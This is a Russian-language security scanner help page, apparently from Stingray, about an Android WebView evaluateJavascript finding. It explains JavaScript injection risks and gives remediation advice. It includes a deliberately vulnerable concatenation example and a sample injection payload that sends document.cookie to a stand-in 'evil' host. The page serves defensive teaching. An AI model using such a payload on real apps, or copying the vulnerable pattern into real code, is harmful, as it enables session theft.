Перейти к содержанию

WebView вызывает evaluateJavascript

Критичность: ИНФО
Способ обнаружения: DAST, WEBVIEW

Описание

Метод WebView.evaluateJavascript(String script, ValueCallback<String>) исполняет переданную строку как JavaScript в контексте загруженной страницы. Stingray фиксирует факт вызова этого метода как информационную находку и сохраняет аргумент для анализа: если в исполняемый скрипт подставляются данные из недоверенного источника (Intent, deeplink, файл, сетевой ответ, межпроцессное взаимодействие), вызов превращается в канал инъекции кода.

Пример вызова, попадающего под наблюдение:

String name = getIntent().getStringExtra("user_name"); // недоверенный источник
webView.evaluateJavascript("setUserName('" + name + "')", null); // подстановка без экранирования

Если name равно '); fetch('https://evil/?c='+document.cookie); //, склейка превращается в исполняемый эксплойт.

Проблема

  1. Инъекция JavaScript (XSS). Непроверенные данные, склеенные со скриптом, позволяют злоумышленнику исполнить произвольный JavaScript в контексте страницы — с доступом к DOM, cookies, localStorage/sessionStorage и JavaScript-мостам.
  2. Эскалация через JavaScript-интерфейсы. Если приложение выставляет нативные методы через @JavascriptInterface, инъекция в evaluateJavascript ведёт к их вызову и выполнению нативного кода.
  3. Утечка данных. Через исполняемый скрипт можно прочитать и отправить наружу содержимое страницы и доступные приложению ресурсы.
  4. Недоверенный результат. Значение, возвращаемое в ValueCallback, формируется веб-страницей и также является недоверенным — его нельзя использовать в чувствительных операциях без валидации.

Находка информационная: требуется ручная проверка того, контролируется ли аргумент evaluateJavascript (или базовая страница) внешним источником.

Рекомендации

  1. Никогда не собирайте скрипт конкатенацией с внешними данными. Любое значение из Intent, deeplink, файла, сети или IPC, попадающее в тело JavaScript, — это потенциальная инъекция.

  2. Передавайте данные как данные, а не как код. Корректно сериализуйте значение и передавайте его аргументом функции, объявленной на странице:

    // JSONObject.quote экранирует кавычки, спецсимволы и переводы строк
    String safe = org.json.JSONObject.quote(name);   // -> "\"...\""
    webView.evaluateJavascript("window.setUserName(" + safe + ")", null);
    
    Передавайте сложные структуры через JSON целиком (JSONObject/JSONArrayJSON.parse на странице), не «вклеивая» поля по отдельности.

  3. Предпочитайте обмен сообщениями вместо инъекции кода. Для канала native→web используйте WebMessagePort/postWebMessage() или WebViewCompat.postWebMessage(); для web→native — WebViewCompat.addWebMessageListener() с явным allowedOriginRules. Это исключает исполнение произвольного кода и работает с проверкой источника:

    WebViewCompat.addWebMessageListener(webView, "appBridge",
        Set.of("https://app.example.com"),
        (view, message, sourceOrigin, isMainFrame, replyProxy) -> {
            // message.getData() обрабатывается как недоверенный ввод
        });
    

  4. Если evaluateJavascript всё же нужен — исполняйте только статические, заранее заданные скрипты, не зависящие от пользовательского ввода. Динамические части передавайте параметрами (см. п. 2).

  5. Минимизируйте JavaScript-мосты. Не выставляйте через @JavascriptInterface чувствительные нативные методы; проверяйте источник вызова. Помните, что @JavascriptInterface доступен любой странице, загруженной в WebView.

  6. Ограничьте исполнение скриптов через CSP. Для подконтрольных страниц задавайте Content-Security-Policy (например, без unsafe-inline), чтобы инъекция не приводила к исполнению.

  7. Не передавайте секреты в контекст WebView. Токены, ключи и ПДн не должны попадать в DOM/JS, откуда их может извлечь XSS. (При работе с ПДн учитывайте требования 152-ФЗ.)

  8. Возвращаемое значение ValueCallback считайте недоверенным и валидируйте перед использованием в нативной логике.

Ссылки

  1. https://developer.android.com/reference/android/webkit/WebView#evaluateJavascript(java.lang.String,%20android.webkit.ValueCallback%3Cjava.lang.String%3E)
  2. https://developer.android.com/privacy-and-security/risks/webview-unsafe-javascript-interface
  3. https://developer.android.com/reference/androidx/webkit/WebViewCompat#addWebMessageListener(android.webkit.WebView,java.lang.String,java.util.Set%3Cjava.lang.String%3E,androidx.webkit.WebViewCompat.WebMessageListener)
  4. https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0033/
  5. https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
  6. https://cwe.mitre.org/data/definitions/79.html
  7. https://cwe.mitre.org/data/definitions/20.html
  8. https://cwe.mitre.org/data/definitions/95.html
К началу